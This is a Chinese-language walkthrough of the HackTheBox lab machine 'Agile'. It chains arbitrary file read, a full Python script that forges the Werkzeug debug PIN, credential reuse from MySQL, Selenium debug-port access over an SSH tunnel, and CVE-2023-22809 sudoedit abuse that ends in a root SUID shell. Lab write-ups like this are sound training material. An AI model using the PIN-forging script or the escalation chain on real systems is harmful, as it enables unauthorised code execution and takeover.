Agile 是一个中等难度的 Linux 机器,在端口 80 上有一个密码管理网站。创建帐户并添加几个密码后,发现网站的导出到 CSV 功能容易受到任意文件读取的攻击。其他终结点的枚举显示“/download”在访问时引发错误,并显示“Werkzeug”调试控制台。此控制台通过 PIN 进行保护,但是此控制台与通过前面提到的漏洞读取文件的能力相结合,允许用户对此 PIN 进行逆向工程,并以“www-data”的形式执行系统命令。然后,可以识别数据库凭据,以便连接到密码管理器网站的 SQL 数据库,该数据库保存系统上“corum”用户的凭据。发现该网站的第二个版本正在运行,自动化系统通过“Selenium”网络驱动程序对其执行测试。“Selenium”的调试端口是开放的,通过SSH隧道,攻击者可以访问网站的测试环境并获取用户“edwards”的凭据。最后,“CVE-2023-22809”(全局“bashrc”文件中的自定义条目)和 Python 虚拟环境激活脚本上的错误权限的组合会导致权限提升。
循例nmap
注册一个账户并登录
有个export功能,点击后查看bp发现一个/download,存在任意文件读取
概率触发报错
读machine-id
读网卡mac地址
将地址转16进制
在报错当中,暴露了app.py的路径,在/etc/passwd里也看到www-data
/app/venv/lib/python3.10/site-packages/flask/app.py
在这个werkzeug版本中还需要在machine-id后面拼接cgroup
伪造PIN exp
import hashlib
from itertools import chain
probably_public_bits = [
'www-data',# username
'flask.app',# modname
'wsgi_app',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'345052411386',# str(uuid.getnode())
'ed5b159560f54721827644bc9b220d00superpass.service'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
输入PIN后,现在可以执行python代码
祖传reverse shell
在config_prod.json里发现了mysql的凭据
进mysql常规操作
corum是系统中的用户,发现users表中的hash爆不出来
还有个passwords表,corum是密码直接是明文密码
直接登ssh
在test的站点里面发现一个py脚本,它从creds.txt读取凭据,使用selenium登录测试站点
往下看可以看到Selenium调试端口是41829
用ssh做本地端口转发
由于没有chrome,而且还比较简单,后面就看wp做一下
inspect可以看到edwards的密码
su过去
sudo -l
查看sudo版本后谷歌能够找到相关的提权cve
它能够让我们读取意外的文件,但目前我们只能模拟dev_admin执行
而在test_and_update.sh中加载了activate配置文件
dwards@agile:/app$ cat ./test_and_update.sh
#!/bin/bash
...
# system-wide source doesn't seem to happen in cron jobs
source /app/venv/bin/activate
...
查看/etc/bash.bashrc发现也引用activate
由于activate,dev_admin用户可写,所以搭配上面的cve修改activate文件,写入shellcode
祖传suid bash
root flag还在老地方
事后我猜测activate被root触发是因为定时任务,查找了一下发现确实是root有计划任务